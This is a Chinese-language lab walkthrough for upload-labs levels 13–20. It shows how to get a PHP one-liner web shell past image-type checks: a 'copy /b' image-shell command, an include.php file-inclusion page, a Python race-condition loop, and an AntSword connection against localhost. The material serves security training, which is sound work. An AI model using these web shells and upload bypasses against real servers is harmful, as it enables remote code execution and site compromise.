upload-labs第13关~20关详细解析

【第十三关】图片马

Ⅰ 源码分析

    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

Ⅱ 绕过原理

利用装有一句话木马的jpg照片,绕过后台的文件验证
图片马原理
根据下图,图片马上传后需要一个解析图片的php程序,在这里我们用到include.php


/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

upload-labs第13关~20关详细解析_第1张图片
在这里需要准备一些文件
一张jpg格式照片
php文件

 phpinfo(); @eval($_POST['a']);?>

生成图片马 ,win10环境

copy /b shell.jpg+one.php=1.png

一个自带的文件包含脚本php(upload靶场自带include.php)1

image.png

Ⅲ 绕过过程

上传文件后,查看图片地址是否可以浏览
upload-labs第13关~20关详细解析_第2张图片

利用include.php 解析下图片jpg,可以发现存在phpinfo
upload-labs第13关~20关详细解析_第3张图片

现在就是怎么用AntSword去连接图片马
构建下蚁剑playload

  http://127.0.0.1/upload-labs/include.php?file=upload/upload-20.jpg

image.png
便可以连接,查看数据
upload-labs第13关~20关详细解析_第4张图片

https://blog.csdn.net/qq_42311391/article/details/89477993

【第十四关】getimagesize()绕过

    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

与第十三关不同之处在哪里?
判断文件是否在白名单内的做法不同
getimagesize是获取图片的大小,如果头文件不是图片会报错
image_type_to_extension函数:取得图像类型的文件后缀

上传后的jpg会转成jpeg
upload-labs第13关~20关详细解析_第5张图片
连接成功
image.png

【第十五关】突破exif_imagetype()

未解决

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

为什么要开启php_exif模块?
exif_imagetype函数的作用是什么?
image.png
直接按照十四关的图片马上传,可以吗?
不行,直接被拦截了,这里会显示一片空白
upload-labs第13关~20关详细解析_第6张图片
开启
upload-labs第13关~20关详细解析_第7张图片

【第十六关】二次渲染(未成功)

 if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);
            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
  • imagecreatefromjpeg: 由文件或 URL 创建一个新图象
  • @unlink:删除文件
  • imagejpeg:以jpeg格式将图像输出

源码上讲了哪些东西?

  • 我们上传一个含有一句话木马的jpg后,后台会根据这个jpg文件,重新一个jpeg
  • 并删除原本的文件
  • 最后移动生成的文件到对于目录里

这一关与前面几关不同在哪里?二次渲染具体表现在哪里?
二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
image.png
上传前的图片马
upload-labs第13关~20关详细解析_第8张图片
上传后的图片马,一句话木马被消除了
upload-labs第13关~20关详细解析_第9张图片
有一种办法,在图片马文件中间添加一句话木马,但又不破坏文件
随便位置加入一句话,不行
upload-labs第13关~20关详细解析_第10张图片
upload-labs第13关~20关详细解析_第11张图片upload-labs第13关~20关详细解析_第12张图片
试了好多次,都没成功
后面了解到了,直接将php代码段插入到一个图片里,对于jpg不太显示,jpg不稳定

【第十七关】条件竞争

Burp
AntSword

源码解析
upload-labs第13关~20关详细解析_第13张图片
原来上传的文件早在渲染前就上传成功了,只不过渲染成功or失败后,源文件会被删除掉。
渗透准备
四个文件:一句话木马php文件+一张jgp格式照片+包含一句话木马的jpg照片shell_jpg+.py文件
一句话木马php文件

 phpinfo(); @eval($_POST['a']);?>

包含一句话木马的jpg照片shell_jpg

copy shell.php /b+ shell.jpg = 1.jpg

upload-labs第13关~20关详细解析_第14张图片
jpg_payload .py文件

import requests
url1 = "http://127.0.0.1/include.php?file=./upload/1.jpg"

while True:  # 定义死循环  
    html = requests.get(url1)

开始渗透
开启jpg_payload .py脚本

python "jpg_payload .py"

上传文件,burp抓包
image.png
upload-labs第13关~20关详细解析_第15张图片
在Repeater上放包,并查看下后台文件
upload-labs第13关~20关详细解析_第16张图片

upload-labs第13关~20关详细解析_第17张图片
AntSword连接jpg文件,成效
upload-labs第13关~20关详细解析_第18张图片

后面,我尝试直接用图片马上传,发现没有二次渲染~~ ,直接用AntSword连接图片马,成功了

【第十八~二十关】

我发现用普通的图片马+自带的文件包含,就可以实现文件上传漏洞
参考下第十三关

参考链接:http://cn-sec.com/archives/1009470.html
https://blog.csdn.net/qwe304/article/details/125725280

你可能感兴趣的:(Web安全,php,apache,开发语言)